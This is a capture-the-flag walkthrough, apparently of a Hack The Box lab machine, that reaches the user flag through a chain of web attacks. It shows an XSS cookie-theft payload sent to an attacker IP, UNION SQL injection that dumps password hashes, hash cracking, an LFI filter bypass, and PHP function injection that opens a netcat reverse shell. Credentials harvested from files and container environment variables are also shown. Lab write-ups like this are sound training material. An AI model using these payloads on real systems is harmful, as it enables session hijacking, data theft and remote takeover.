Enumeration

While trying to enumerate I got the following message. So we have to perform a slower enumeration.

You are banned! Our WAF detected suspicious traffic coming from your IP! You are temporarily banned from accessing the webpage for one minute.

We can read in the forum the following:

Support 10 hours ago
Hello 3lit3H4kr,

Thank you for reaching out to us.
Due to the high load of traffic our Game-Key verification-API is currently experiencing issues. We are implementing a solution to fallback to manual verification by the support staff.
Please use the contact form to privately contact an administrative user and send the Game-Key for manual verification. We are incredibly sorry for the inconvenience this has caused you. We are doing our best to resolve this issue promptly.

Take care, your Support-Team

Also, there is another issue saying that invalid usernames are only handled on register.

Thank you for reaching out to us.
Our internal team has already added this to our Bug-Tracker and is currently working on resolving this issue permanently. For now, a temporary fix was issued that prevents creation of accounts with invalid usernames. (Your account is also affected by this change!)
We are incredibly sorry for the inconvenience this has caused and will update you as soon as we have resolved this problem. Please feel welcome to reach out to us with any further questions you may as we would be more than happy to help.

Getting the foothold

We can try to change our name to <script>alert("test")</script> and send an email with subject and body also with alerts. Once it is sent, we will get the alert when inspecting the message.

Sessions are stored in a simple cookie called earlyaccess_session. We can try to hijack the cookie of the admin account. Let’s set our name to:

<script>
  document.location = "http://10.10.14.81:8080/?" + document.cookie;
</script>

We will get the following in our http server:

10.10.11.110 - - [02/Dec/2021 12:10:31] "GET /?XSRF-TOKEN=eyJpdiI6IkVEU0gwZHdrWGtOVWJVTkl1eVg2eXc9PSIsInZhbHVlIjoiU1hOdXlNSVZvM0dkMkdvd0JMMUxTNVU2WHB1MWQxREJXSlFFbDcxR3hrUmpuQ0drN3h5SjNSUi9tZWZ4b25qSUxzZmNlTnUxMEd6OEhqdG5CMEhvZzhxSjRRWjhwOXhzMWoxSWJ2UFRtVUwvN1NOMk1FMkVFSnpiNjdBTTUxd0MiLCJtYWMiOiJhMTdhOWUxYmU2ZTVjY2VmODIyNjI0ZjNjOTM4ZTdlNDkxNjkyZWM3NGYyODk2NWFiMzgyZjUyOWIxZmNjM2U4In0%3D;%20earlyaccess_session=eyJpdiI6Ikpza3pGZHRqTUpkVUxYMnNJdURRalE9PSIsInZhbHVlIjoiclRVTHVFNmVUWGt1NDVDWUZ6dGxqbUFSYkYwYWc1YW00eHdtZjNJZUxwUWxnSkFtbThyMEV6OXZoK3VsR0RWWGJucVN3YmpOSm94WUdNOVFicC9WMTRubS9qQzlqSlV6NHJ3WE0wZzlXanZzM2JrWjVJY2wyVmloSHl2eFJSa0kiLCJtYWMiOiJjYjY3MGE0ZjExYjM2YTI5Mzg3ZWNmY2JlZWE4MTAwYzg1NGQ1OTA0MmUzYTMwNzljYTFmYzgxNGQyMjYwNGNhIn0%3D HTTP/1.1" 200 -

If we change our earlyaccess_session to the one we retrieved, we are now logged in as admin.

In the admin page you can download a backup of the key validator. There are also two subdomains: dev and game.

If we look into the key validator code, we see the following:

magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)

So keys are validated using a magic number which is given by the server. I’ve tried to get it from https://earlyaccess.htb/key/magic_num, but that is not the endpoint. So we will have to fuzz it.

Let’s implement first the key generator. After some time reading the code, the key is divided in 4 parts and a checksum. Most of the parts can be fixed, so we have to generate keys in the form of:

KEY98-AZAZ2-XP???-GAML8-...

Where the ??? part may be any combination of 2 letters and 1 number which follow the g3 expression, which uses the magic number. I used the following to generate it:

def gen_g3(magic_num) -> str:
    for i in letters:
        for j in letters:
            for n in string.digits:
                s = sum(bytearray(('XP' + ''.join([i,j,n])).encode()))
                if s == magic_num:
                    return 'XP' + ''.join([i,j,n])

The last part is simply computed after generating all the previous parts. We will have to fuzz all the possible magic_num verifying the key in the /key/verify endpoint, as we can’t know this number.

Once we got a key for the game, we can now go back to our user account and activate it. After this, we will be able to enter the game. In this case, it is using php.

We can see the leaderboard they were talking about in the forums. And yes, if we change our profile name to a single quote we get the following error in the scoreboard:

Error
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') ORDER BY scoreboard.score DESC LIMIT 11' at line 1

According to the error given, we can’t replace the SQL request. But we can perform UNION SQL injection to get results:

') UNION SELECT * FROM scoreboard; --

We just need to show only the same number of columns in the table:

') UNION SELECT 1,2,3 FROM scoreboard; --
Username    Score   Time
3   1   2

Now that we know it works and it is a MySQL database, we can get the table names from the information_schema table.

') UNION SELECT 1, table_name, 1  FROM information_schema.tables; --
Username    Score   Time
1   1   failed_logins
1   1   scoreboard
1   1   users

We can now do the same with the columns of the table users.

') UNION SELECT 1, column_name, 1  FROM information_schema.columns WHERE TABLE_NAME = 'users'; --
Username    Score   Time
1   1   id
1   1   name
1   1   email
1   1   password
1   1   role
1   1   key
1   1   created_at
1   1   updated_at

And simply dump the important fields:

') UNION SELECT email, role, password  FROM users; --
Username    Score   Time
618292e936625aca8df61d5fff5c06837c49e491    admin@earlyaccess.htb   admin
d997b2a79e4fc48183f59b2ce1cee9da18aa5476    chr0x6eos@earlyaccess.htb   user
584204a0bbe5e392173d3dfdf63a322c83fe97cd    firefart@earlyaccess.htb    user
290516b5f6ad161a86786178934ad5f933242361    farbs@earlyaccess.htb   user
4c900fbf77c0222faddb3b648b876e32cb723a04    test@test.com   user

And we dumped the users!

We can decode this hash using SHA1 type (code 100).

hashcat hash.txt /usr/share/dict/rockyou.txt -D 1 -m 100

The decrypted password gameover.

Now we can login to the page with admin@earlyaccess.htb:gameover credentials. Also to the dev subdomain we couldn’t access before.

The hashing page looks useless, but the File-Tools one seems promising. Although, there is no visible endpoint so we may have to look for it.

The hashing page sends a request to /actions/hash.php. So I guess it will be in /actions/file.php? We can send the same request of Hash-Tools, but to the file.php endpoint:

curl -X POST -v http://dev.earlyaccess.htb/actions/file.php \
-H 'Cookie: PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8' \
-d 'action=hash&redirect=true&password=test&hash_function=md5'

And it works! Well… there is an error, but now we know there is an endpoint there.

<h1>ERROR:</h1>Please specify file!%

We can try with POST parameters.

wfuzz -w /usr/share/dirbuster/parameter-names.txt \
-u http://dev.earlyaccess.htb/actions/file.php --hc 404 --hh 35 \
-b "PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8" \
-d "action=file&redirect=true&FUZZ=test"

Although, I didn’t get any result. After some time I decided to try with GET.

wfuzz -w /usr/share/dirbuster/parameter-names.txt \
-u 'http://dev.earlyaccess.htb/actions/file.php?FUZZ=test' --hc 404 --hh 35 \
-b "PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8"

And we get a result!

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001316:   500        0 L      2 W        32 Ch       "filepath"

There is a filepath parameter. I thought it would be some file upload, but it seems like it will be some LFI.

If we try to enter a filepath with .., we get an error:

ERROR:
For security reasons, reading outside the current directory is prohibited!

I guess we can access the hash.php file. We cannot traverse the path, but I will try to fuzz for some files or weird configs.

wfuzz -w /usr/share/dirbuster/vulns/file_inclusion_linux.txt \
-u 'http://dev.earlyaccess.htb/actions/file.php?filepath=FUZZ' --hc 500 --hh 35 \
-b "PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8"

I got the following results:

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000002179:   200        4 L      36 W       463 Ch      "\xampp\phpmyadmin\phpinfo.php"
000002178:   200        4 L      36 W       472 Ch      "\xampp\phpmyadmin\config.inc.php"
000002175:   200        4 L      36 W       463 Ch      "\xampp\phpMyAdmin\phpinfo.php"
000002174:   200        4 L      36 W       472 Ch      "\xampp\phpMyAdmin\config.inc.php"
000002192:   200        4 L      36 W       406 Ch      "config.php"
000002221:   200        4 L      36 W       412 Ch      "users.db.php"
000002210:   200        4 L      36 W       409 Ch      "install.php"
000002198:   200        4 L      36 W       412 Ch      "database.php"
000002199:   200        4 L      36 W       394 Ch      "db.php"
000002195:   200        4 L      36 W       400 Ch      "data.php"
000002190:   200        4 L      36 W       418 Ch      "config.inc.php"
000002187:   200        4 L      36 W       409 Ch      "_config.php"

But all are false positives. Well, at least we know the path has to end in .php.

We can try other techniques to bypass the restrictions for LFI. There is one that works:

?filepath=php://filter/convert.base64-encode/resource=hash.php

If we look closer at the code:

// DEVELOPER-NOTE: There has gotta be an easier way...
ob_start();
// Use inputted hash_function to hash password
$hash = @$hash_function($password);

Hahaha that developer note. If we try to change the inputted hash_function, we get an error:

Only MD5 and SHA1 are currently supported!

If we keep reading the code, this appears:

// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
    throw new Exception("Only MD5 and SHA1 are currently supported!");

Okay, so we can just set the debug parameter and run whatever function we want? Seems promising.

curl -X POST -v http://dev.earlyaccess.htb/actions/hash.php \
-H 'Cookie: PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8' \
-d 'action=hash&redirect=true&password=test&hash_function=asdf&debug=true'

We will get the following:

Stack trace:
#0 /var/www/earlyaccess.htb/dev/actions/hash.php(53): hash_pw('asdf', 'test')
#1 {main}
  thrown in <b>/var/www/earlyaccess.htb/dev/actions/hash.php</b> on line <b>9</b><br />

So yeah, it is working that way.

curl -X POST -v http://dev.earlyaccess.htb/actions/hash.php -L \
-H 'Cookie: PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8' \
-d 'action=hash&redirect=true&password=whoami&hash_function=system&debug=true'
curl -X POST -v http://dev.earlyaccess.htb/actions/hash.php -L \
-H 'Cookie: PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8' \
-d 'action=hash&redirect=true&password=nc+10.10.14.81+6666+-e+/bin/bash&hash_function=system&debug=true'

And we will have a reverse shell!

www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root❌0:0:root:/root:/bin/bash
www-adm❌1000:1000::/home/www-adm:/bin/bash

Getting the user flag

We can change to user www-adm using the admin password (gameover). In its home:

www-adm@webserver:~$ cat .wetrc
cat .wgetrc
user=api
password=s3CuR3_API_PW!

But it seems like we are not in the user yet…

www-adm@webserver:/var/www/html$ cat /etc/cron.daily/passwd
cat /etc/cron.daily/passwd
#!/bin/sh

cd /var/backups || exit 0

for FILE in passwd group shadow gshadow; do
        test -f /etc/$FILE              || continue
        cmp -s $FILE.bak /etc/$FILE     && continue
        cp -p /etc/$FILE $FILE.bak && chmod 600 $FILE.bak
done
www-adm@webserver:/var/www/html/routes$ ps -e -o command
ps -e -o command
COMMAND
/bin/sh -c /root/entry.sh
/bin/sh /root/entry.sh
/usr/sbin/cron
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
sh -c nc 10.10.14.81 6666 -e /bin/bash
bash
python3 -c import pty; pty.spawn("/bin/bash")
/bin/bash
su www-adm
bash
apache2 -DFOREGROUND
ps -e -o command

Okay, so the api service is not running in this machine. Also, we are not able to use any network tools so we might be in a minimal system, such as a container.

We can check if we are inside a container like this:

www-adm@webserver:/var/www/html/routes$ cat /proc/self/cgroup
cat /proc/self/cgroup
11:cpuset:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
10:pids:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
9:memory:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
8:cpu,cpuacct:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
7:blkio:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
6:net_cls,net_prio:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
5:perf_event:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
4:freezer:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
3:devices:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
2:rdma:/
1:name=systemd:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
0::/system.slice/containerd.service

And we indeed are.

If we check /etc/hosts, we see an entry for the webserver. So the API might be called api or apiserver?

We can wget to api and the name will be resolved by Docker DNS:

wget api:5000

We get the following:

{"message":"Welcome to the game-key verification API! You can verify your keys via: /verify/<game-key>. If you are using manual verification, you have to synchronize the magic_num here. Admin users can verify the database using /check_db.","status":200}

By using the check_db endpoint, we can see the logs of the database. There is an interesting part, where some credentials are stored:

"Env": [
  "MYSQL_DATABASE=db",
  "MYSQL_USER=drew",
  "MYSQL_PASSWORD=drew",
  "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
  "SERVICE_TAGS=dev",
  "SERVICE_NAME=mysql",
  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "GOSU_VERSION=1.12",
  "MYSQL_MAJOR=8.0",
  "MYSQL_VERSION=8.0.25-1debian10"
],

As we saw before in the original page, drew has email draw@earlyaccess.htb, so he might be a user of the system. We can try the usernames and passwords we got by now to try to get into the ssh.

And we can login with drew:XeoNu86JTznxMCQuGHrGutF3Csq5 to the ssh endpoint. And now we can get the user flag! God it has been a really long path.